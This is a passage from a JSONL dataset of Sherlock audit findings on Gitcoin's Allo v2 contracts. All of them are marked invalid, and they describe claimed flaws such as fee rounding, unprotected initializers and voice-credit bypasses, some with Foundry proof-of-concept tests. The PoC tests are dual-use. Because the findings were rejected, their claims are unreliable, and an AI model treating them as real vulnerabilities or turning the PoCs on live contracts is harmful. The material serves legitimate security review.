Recommendation\nCheck if `msg.value` is bigger or equal to `_amount`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/834.md"}} +{"title":"Uninitialized Allocator Bypasses `maxVoiceCreditsPerAllocator` Limit","severity":"info","body":"Scruffy Taupe Orca\n\nhigh\n\n# Uninitialized Allocator Bypasses `maxVoiceCreditsPerAllocator` Limit\nVulnerability in `QVSimpleStrategy.sol` contract allows an allocator to bypass the `maxVoiceCreditsPerAllocator` check, enabling them to allocate more voice credits than intended.\n\n## Vulnerability Detail\nAn allocator can be added to the `allowedAllocators` mapping to mark them as allowed. However, if they aren't initialized or present in the `allocators` mapping, their corresponding state, especially the `voiceCredits` field, would default to zero. This leads to a scenario where when `_allocate` is called, the check `_hasVoiceCreditsLeft` will always consider the `voiceCredits` of this allocator to be zero, thereby enabling them to allocate any amount under the `maxVoiceCreditsPerAllocator` threshold, repeatedly.\n\n## Proof of Concept\n\n1. **Allow Allocator**: A user is added to the `allowedAllocators` mapping using `addAllocator(address _allocator)`.\n2. **Allocate without Initialization**: The same user calls the `_allocate` function to allocate voice credits.\n3. **Bypass**: Since this allocator is not present in the `allocators` mapping, their `voiceCredits` is considered zero by default. This causes the `_hasVoiceCreditsLeft` function to always return `true` as long as the allocated amount in each transaction is below the `maxVoiceCreditsPerAllocator` threshold.\n4. **Result**: The allocator can keep allocating indefinitely, each time allocating an amount below the threshold, thereby bypassing the overall limit set by `maxVoiceCreditsPerAllocator`.\n\n## Impact\nThis vulnerability allows allocators to allocate an unlimited amount of voice credits as long as each allocation stays under the `maxVoiceCreditsPerAllocator` limit. This can result in a misallocation of funds and disrupt the intended allocation mechanism.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L154\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L47\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L88-L101\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\n\n```solidity\nfunction _allocate(bytes memory _data, address _sender) internal virtual override {\n ...\n Allocator storage allocator = allocators[_sender];\n ...\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n ...\n}\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\n\n## Tool used\nManual Review\n\n## Recommendation\nImplement a mechanism to ensure that when an allocator is added to the `allowedAllocators`, they are also initialized with a corresponding entry in the `allocators` mapping.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/832.md"}} +{"title":"base fee can be set to more than 100%","severity":"info","body":"Special Carmine Wren\n\nmedium\n\n# base fee can be set to more than 100%\n\n## Vulnerability Detail\n\nif a user wants to create a pool and owner front runs the user and set the fee to more than 100 % and if user send much more ethers than the amount he want to use for creating the pool he will pay this high fee\n\n## Impact\n\nuser can lose a lot of ethers\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L587-L590\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nset an appropriate higher limit for the base fee","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/831.md"}} +{"title":"Profile owners can set pending ownership for themselves in the same block/timeframe a new owner accepts ownership at `updateProfilePendingOwner`","severity":"info","body":"Genuine Vinyl Sidewinder\n\nmedium\n\n# Profile owners can set pending ownership for themselves in the same block/timeframe a new owner accepts ownership at `updateProfilePendingOwner`\nFunctions updateProfilePendingOwner & acceptProfileOwnership have a race exploit vulnerability which can lead to the initial profile owner having a pending ownership transfer they can accept at any time after transferring ownership to the new owner.\n\n## Vulnerability Detail\nThe vulnerability presents itself specifically in the updateProfilePendingOwner where a profile owner can set up the address of a new owner to transfer a profile/registry to. When an address is set, the owner of the address can call acceptProfileOwnership to accept/transfer ownership to themselves. But the previous owner can exploit this by calling updateProfilePendingOwner in the same block/time the new owner calls acceptProfileOwnership.\n\n## Impact\nWhen both updateProfilePendingOwner & acceptProfileOwnership are called simultaneously, weird things will happen to the state of profile ownership.\n\nThe user transferring ownership can have a pending ownership for themself to reclaim at a later time without needing the input of the new profile owner\nThe new profile owner will initially claim ownership that they can lose at any time if the previous owner decides to become malicious for any reason.\n\nThese code blocks are impacted by this issue:\n```solidity\nfunction updateProfilePendingOwner(bytes32 _profileId, address _pendingOwner)\n external\n onlyProfileOwner(_profileId)\n {\n profileIdToPendingOwner[_profileId] = _pendingOwner;\n emit ProfilePendingOwnerUpdated(_profileId, _pendingOwner);\n }\n\n function acceptProfileOwnership(bytes32 _profileId) external {\n Profile storage profile = profilesById[_profileId];\n address newOwner = profileIdToPendingOwner[_profileId];\n if (msg.sender != newOwner) revert NOT_PENDING_OWNER();\n profile.owner = newOwner;\n delete profileIdToPendingOwner[_profileId];\n emit ProfileOwnerUpdated(_profileId, profile.owner);\n }\n```\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L248-257\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L262-L278\n## Tool used\n\nManual Review\n\n## Recommendation\nThere are a couple of ways to address this issue but the best that comes to mind is a timelock for when the user transferring ownership can call updateProfilePendingOwner after first calling the function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/828.md"}} +{"title":"`baseFee` Issue in `_createPool()` Method","severity":"info","body":"Mini Fiery Urchin\n\nmedium\n\n# `baseFee` Issue in `_createPool()` Method\nThe `_createPool()` method within the `Allo.sol` contract contains a logic flaw. When assessing the required `baseFee`, the current implementation may result in the inadvertent triggering of the `NOT_ENOUGH_FUNDS` error.\n\n## Vulnerability Detail\nThe issue stems from the condition that checks the `baseFee` against `msg.value`. The current logic applies a greater than or equal to (>=) operator, it leads to the triggering of the `NOT_ENOUGH_FUNDS` revert statement. \n\n## Impact\nAny user or application interfacing with this contract might face unexpected reverts when they try to create a pool, even if they provide the right funds.\n\n## Proof of Concept\nFor verification purposes, a test function was added in `allo-v2/test/foundry/core/Allo.t.sol`:\n\n```solidity\n function test_createPoolWithBaseFeeRevert() public {\n \n uint256 baseFee = 1e17;\n allo().updateBaseFee(baseFee);\n\n vm.deal(pool_admin(), baseFee); \n vm.startPrank(pool_admin());\n\n vm.expectRevert(Errors.NOT_ENOUGH_FUNDS.selector);\n allo().createPoolWithCustomStrategy{value: baseFee}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n\n }\n```\n\nTest output:\n\n```bash\n$ forge test -vv --match-test test_createPoolWithBaseFeeRevert\n[ā ‘] Compiling...\n[ā ’] Compiling 1 files with 0.8.19\n[ā ’] Solc 0.8.19 finished in 7.32s\nCompiler run successful!\n\nRunning 1 test for test/foundry/core/Allo.t.sol:AlloTest\n[PASS] test_createPoolWithBaseFeeRevert() (gas: 374489)\nTest result: ok. 1 passed; 0 failed; finished in 12.53ms\n```\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n## Tool used\nVSCode, Foundry\n\n## Recommendation\nTo rectify this vulnerability, replace the `>=` operator with the `>` operator in the condition. Here's the corrected snippet:\n```solidity\n if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/826.md"}} +{"title":"The _fundPool() call may not be available for some tokens","severity":"info","body":"Unique Wooden Dragonfly\n\nmedium\n\n# The _fundPool() call may not be available for some tokens\nThere are tokens that, when trying to transfer 0, will generate a revert error. For example: https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers.\n\nThe Allo._fundPool() function (https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520) charges a fee. If the commission size is greater than 0, then the commission is sent to treasury:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L513\n\nThe commission amount is calculated using the formula:\n\nfeeAmount = (_amount * percentFee) / getFeeDenominator();\n\nWherein\nfunction getFeeDenominator() public pure returns (uint256 FEE_DENOMINATOR) {\n return 1e18;\n}\n\nIt may turn out to be feeAmount = 0, provided that _amount * percentFee < 1e18.\n\nIf you use tokens of the type revert on zero value transfer and feeAmount = 0, further sending of tokens (https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo. sol#L516) to the strategy address will be blocked (DOS).\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n\n## Tool used\n\nManual Review\n\n## Recommendation\nBefore sending commission to treasury, check that feeAmount > 0.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/825.md"}} +{"title":"The Allo.sol contract only assumes the use of tokens with decimals = 1e18","severity":"info","body":"Unique Wooden Dragonfly\n\nmedium\n\n# The Allo.sol contract only assumes the use of tokens with decimals = 1e18\nThe Allo.sol contract uses the exact number of decimal places decimals = 1e18. Decimals are taken into account in getFeeDenominator() (https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L599-L601) and percentFee (\"How the percentage is represented in our contracts: 1e18 = 100%, 1e17 = 10%, 1e16 = 1%, 1e15 = 0.1%\") (https://github.com/sherlock-audit/2023-09-Gitcoin/blob/ main/allo-v2/contracts/core/Allo.sol#L43-L48).\n\nfunction getFeeDenominator() public pure returns (uint256 FEE_DENOMINATOR) {\n return 1e18;\n}\n\nThe contract has the ability to update the percentFee variable:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L575-L581\nfunction _updatePercentFee(uint256 _percentFee) internal {\n if (_percentFee > 1e18) revert INVALID_FEE();\n percentFee = _percentFee;\n emit PercentFeeUpdated(percentFee);\n}\n\nHowever, there is no way to set _percentFee > 1e18:\nif (_percentFee > 1e18) revert INVALID_FEE();\n\nIn these examples, decimals = 1e18 is used to calculate feeAmount. However, there are tokens with non-standard decimals. For example: https://github.com/d-xo/weird-erc20#low-decimals and https://github.com/d-xo/weird-erc20#high-decimals. For such tokens, if decimals = 1e18, then feeAmount may be too large or small. This will either lead to blocking of the _fundPool() function, because the feeAmount value will be greater than the amount value, or you will lose most of the amount on the feeAmount commission.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L575-L581\n\n## Tool used\n\nManual Review\n\n## Recommendation\nRead decimals of selected tokens before dawn fee Amount","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/820.md"}} +{"title":"`Allo.createPool` reverts on incorrect check for base fee, even when the perfect base fee is transferred","severity":"info","body":"Delightful Topaz Penguin\n\nmedium\n\n# `Allo.createPool` reverts on incorrect check for base fee, even when the perfect base fee is transferred\n`Allo.createPool` reverts on incorrect check for base fee, even when the perfect base fee is transferred \n## Vulnerability Detail\nAs given in documentation Allo charges base fee whenever new pool is created and revert if correct amount of base fees is not provided by caller.\n1. Alice want to create a pool.\n2. She calls [createPool](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L174) with correct amount of base fees i.e `msg.value==baseFee`\n3. As current implementation , above function calls a internal method [_createPool](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L415) and it has below check to make sure correct base fee has been given\n```solidity\nFile: contracts/core/Allo.sol\n473 if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n475 }\n``` \n4. tx reverted (NOT_ENOUGH_FUNDS) due to incorrect check, even Alice gave correct/perfect amount of baseFee\n\n## Impact\nAlice won't able to create pool even after giving correct/proper baseFee\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L473\n## Tool used\n\nManual Review\n\n## Recommendation\n\nModify the check and don't revert on cases when baseFee==msg.value","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/819.md"}} +{"title":"Allo pool funding can avoid paying percent fee","severity":"info","body":"Boxy Clay Ladybug\n\nmedium\n\n# Allo pool funding can avoid paying percent fee\nDue to rounding down it is possible to fund a pool by avoiding the percent fee\n## Vulnerability Detail\nThe following block of code is from the `_fundPool()` function and `feeAmount` can round down to 0 on certain amounts. An example would be if percentFee=1e16 then for an amount up to 1000 the `feeAmount` will round down to 0. \n```solidity\nif (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n```\n### Coded POC\n1. Paste the code below in `Allo.t.sol`\n2. Execute the test with `forge test --match-test test_avoidPercentFee -vvvv `\n3. Upon Inspection of the logs we can see there was no percent fee deducted\n```solidity\nfunction test_avoidPercentFee() public {\n\n uint256 baseFee = 1e17;\n allo().updateBaseFee(baseFee);\n\n // vm.expectEmit(true, false, false, true);\n // emit BaseFeePaid(1, baseFee);\n\n vm.deal(address(pool_admin()), 1e18);\n\n vm.startPrank(pool_admin());\n\n uint256 poolId = allo().createPoolWithCustomStrategy{value: 3e17}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 1e17, metadata, pool_managers()\n );\n\n console.log(\"Strategy balance AFTER\", strategy.balance);\n \n allo().fundPool{value: 99}(poolId, 99);\n\n }\n```\n## Impact\nUser can avoid the percent fee with certain fund amounts\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L519\n## Tool used\n\nManual Review\nFoundry\n## Recommendation\nCheck if a minimum amount of deposit is met","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/818.md"}} +{"title":"An attacker can manipulate the maxBid, useRegistryAnchor, metadataRequired parameter in RFPSimpleStrategy.sol","severity":"info","body":"Unique Wooden Dragonfly\n\nhigh\n\n# An attacker can manipulate the maxBid, useRegistryAnchor, metadataRequired parameter in RFPSimpleStrategy.sol\nRFPSimpleStrategy.sol has an initialize function that sets the parameters maxBid, useRegistryAnchor, metadataRequired. However, any user can subsequently call the initialize() function with its own input parameters:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L151-L154\n\n## Vulnerability Detail\nThis will lead to the fact that an attacker can set his own maxBid, useRegistryAnchor, metadataRequired values and affect the operation of the contract.\n\n## Impact\ninitialize() is of type external and is not protected by modifiers.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L151-L154\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd the initializable library from OpenZeppelin. Add initializer modifier.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/816.md"}} +{"title":"When allocating native tokens in `DonationVotingMerkleDistributionVaultStrategy` any native token that exceeds the amount specified for funding is not returned","severity":"info","body":"Dandy Lavender Wombat\n\nhigh\n\n# When allocating native tokens in `DonationVotingMerkleDistributionVaultStrategy` any native token that exceeds the amount specified for funding is not returned\n\nWhen a user allocates the native token to a recipient in `DonationVotingMerkleDistributionVaultStrategy` and sends a higher msg.value than the amount he specifies as an argument, only the amount of native token specified as an argument is added to the amount claimable by the recipient and the amount is send to the pool. The access native token is not refunded to the sender but remains in the Allo contract. Even though there is a check comparing msg.value with the amount specified, the function only reverts if the amount is bigger than msg.valu\n\n## Vulnerability Detail\nSee summary.\n\n\n\n## Impact\n\nThe user loses the access amount of native tokens he send to the allo contract.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L107-L137\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWhen interacting with native tokens, revert if `msg.value != amount` and not only if `msg.value < amount`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/815.md"}} +{"title":"Allocator not utilizing there allocated voice credit could lead to imbalance","severity":"info","body":"Tricky Rose Hare\n\nmedium\n\n# Allocator not utilizing there allocated voice credit could lead to imbalance\n\nThe fairness, efficiency, and integrity of the entire distribution process may come into question if allocators fail to use the voice credits that were assigned for allocation.\nA disparate distribution of resources could result if some allocators choose not to distribute their voice credits. Projects that obtain allocations from active allocators could profit excessively, possibly to the detriment of projects that do not receive allocations because of inactive allocators.\n\n## Vulnerability Detail\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L140C4-L147C1\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506C5-L534C6\n\nThe quadratic voting approach depends on active involvement and a range of allocation preferences to be effective. The capacity of the strategy to effectively represent the preferences of the community may be compromised if a sizable portion of allocators repeatedly choose not to allocate.\n\nLetā€™s look at two scenarios of Allocations \n\nScenario 1 \n\nIn this scenario, all allocators actively participate and allocate their voice credits: \nAllocator A allocates 30 voice credits to Project X. \nAllocator B allocates 20 voice credits to Project Y. \nAllocator C allocates 50 voice credits to Project Z.\n\nThe result in this case is that the allocators' choices have a direct bearing on how the grant is distributed. The compensation to each project is calculated using the weight of their votes, which is calculated using the square root of the voice credits allotted.\n\nScenario 2\n\nSome allocators decide not to use their voice credits in this situation \n\nAllocator A does not allocate any voice credits.\nAllocator B allocates 20 voice credits to Project Y.\nAllocator C allocates 50 voice credits to Project Z.\nAs a result, only 70 out of 100 voice credits are used for allocation.\n\nThe total number of voice credits that can be distributed has been decreased to 70 from 100.\nThere is no effect of Allocator A's preferences on the distribution.\nThe square root of the voice credits allotted by Allocators B and C has an impact on the weight of votes for Projects Y and Z.\n\n## Impact\n\nThis could lead to a situation in which recipients, that expect to receive a particular amount of funds, represented by the voice credit given to the allocators on the strategy, a inactive allocator could potentially intentionally or non-intentionally distribute their credits, may have disrupted the funds sharing process allowing other projects getting funds and depriving other project in need of those fund access to them.\n\n## Code Snippet\n\n```solidity\nstruct Allocator {\n // slot 0\n uint256 voiceCredits;\n // slots [1...n]\n mapping(address => uint256) voiceCreditsCastToRecipient;\n mapping(address => uint256) votesCastToRecipient;\n }\n```\nHere we see that the Allocators structs and the voice credits, but looking much deeper we discover that, the allocators are not obligated to actually distribute all their tokens or even any at all. \n\n```solidity\nfunction _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\n## Tool used\n\nFoundry, Hardhat\n\n## Recommendation\n\nAllocators need to be compelled or incentivized to actually have an input and utilize their allocated credit scores, if they refuse to they should be some kind of way to transfer their credit scores to other active allocators in the pool. So has to maintain the effectiveness and integrity of the Strategy.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/814.md"}} +{"title":"wrong input to transfer function","severity":"info","body":"Special Carmine Wren\n\nmedium\n\n# wrong input to transfer function\n\nin Allo.sol::createPool if the base fee is greater than 0 base fee amount should be sent to the treasury but we send NATIVE but not the token we are using for creating the pool\n\n## Vulnerability Detail\n\n## Impact\n\nmuch or less funds will be sent to the treasury\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\ninput the token that is used not NATIVE","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/813.md"}} +{"title":"Should avoid zero amount transfer in `allo._fundPool`","severity":"info","body":"Clever Metal Giraffe\n\nmedium\n\n# Should avoid zero amount transfer in `allo._fundPool`\n\nThere are some ERC20 tokens which revert on zero value transfers. And the protocol states that the protocol would interact with all the erc20 token.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin-sces60107#q-which-erc20-tokens-do-you-expect-will-interact-with-the-smart-contracts\n> Q: Which ERC20 tokens do you expect will interact with the smart contracts? \nAll\n\nHowever, `allo._fundPool` could transfer zero amount of tokens, leading to unexpected revert.\n\n## Vulnerability Detail\n\n`allo._fundPool` transfer fees from `msg.sender` if `percentFee > 0`. But it doesn't confirm that feeAmount is greater than zero. If ` _amount * percentFee` less than `getFeeDenominator()`. It always revert.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L510\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n ā€¦\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n ā€¦\n }\n```\n\n## Impact\n\n`allo._fundPool` could revert if `_amount * percentFee < getFeeDenominator()`. It forces the caller to fund more tokens to make ``_amount * percentFee > getFeeDenominator()` .\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L510\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCheck if the amount is greater than zero before doing transfer.\n\n```diff\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n ā€¦\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n- _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n+ if (feeAmount > 0) _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n ā€¦\n }\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/812.md"}} +{"title":"An attacker can change the minimum number of votes required to accept a recipient","severity":"info","body":"Unique Wooden Dragonfly\n\nhigh\n\n# An attacker can change the minimum number of votes required to accept a recipient\nIn RFPCommitteeStrategy.sol, the voteThreshold parameter contains the minimum number of votes required to accept the recipient. This parameter is set when calling the initialize() function. However, any user can subsequently call the initialize() function with its own input parameters:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L74-L77\n\n## Vulnerability Detail\nThis will result in an attacker being able to set the minimum voteThreshold value and influence the acceptance of unwanted recipients.\n\n## Impact\ninitialize() is of type external and is not protected by modifiers.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L74-L77\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd the initializable library from OpenZeppelin. Add initializer modifier.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/811.md"}} +{"title":"```allocator.voiceCredits``` is not changed anywhere","severity":"info","body":"Rhythmic Rusty Swan\n\nhigh\n\n# ```allocator.voiceCredits``` is not changed anywhere\n```allocator.voiceCredits``` is never decremented through the ```_qv_allocate``` function in QVBaseStrategy.sol contract. \n\n## Vulnerability Detail\nThis essentially gives the allocator infinite voice credits to allocate as many credits as they like to a recipient which in turn can also influence the votes massively.\n\n## Impact\nAn allocate can repeatedly call the ```_qv_allocate``` function from QVBaseStrategy.sol repeatedly without their ```voiceCredits``` value decreasing, giving recipients a larger number of ```voiceCreditsCastToRecipient```as well as ```votesCastToRecipient```, meaning their influence on how the pools funds are distributed are favoured largely towards them.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWhere the storage values are updated in the ```_qv_allocate`` function in QVBaseStrategy.sol add the following line:\n\n```_allocator.voiceCredits -= _voiceCreditsToAllocate``` in order to decrement the voice credits of the allocator by how much they are allocating in the transaction.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/810.md"}} +{"title":"The calculation can round to 0 in `_distribute` in `RFPSimpleStrategy.sol`","severity":"info","body":"Shaggy Obsidian Rooster\n\nmedium\n\n# The calculation can round to 0 in `_distribute` in `RFPSimpleStrategy.sol`\nThe calculation can round to 0 in `_distribute` in `RFPSimpleStrategy.sol` and the user will not get any amount\n## Vulnerability Detail\nBecause the amount Percentage is lower than 1e18, we know this: https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227-L247\n\nif the proposal bit is small => the division can be rounded to 0 and there is no check for this: https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L435\n## Impact\nLoss of funds\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227-L247\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L435\n\n## Tool used\n\nManual Review\n\n## Recommendation\nMake a check if the calculation round the amount to 0\nif(amount ==0){\nrevert amountIsEqualToZero\n}","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/809.md"}} +{"title":"since `poolAmount` in `_distribute#QVbaseStrategy` is not updated it can cause reverts and break in 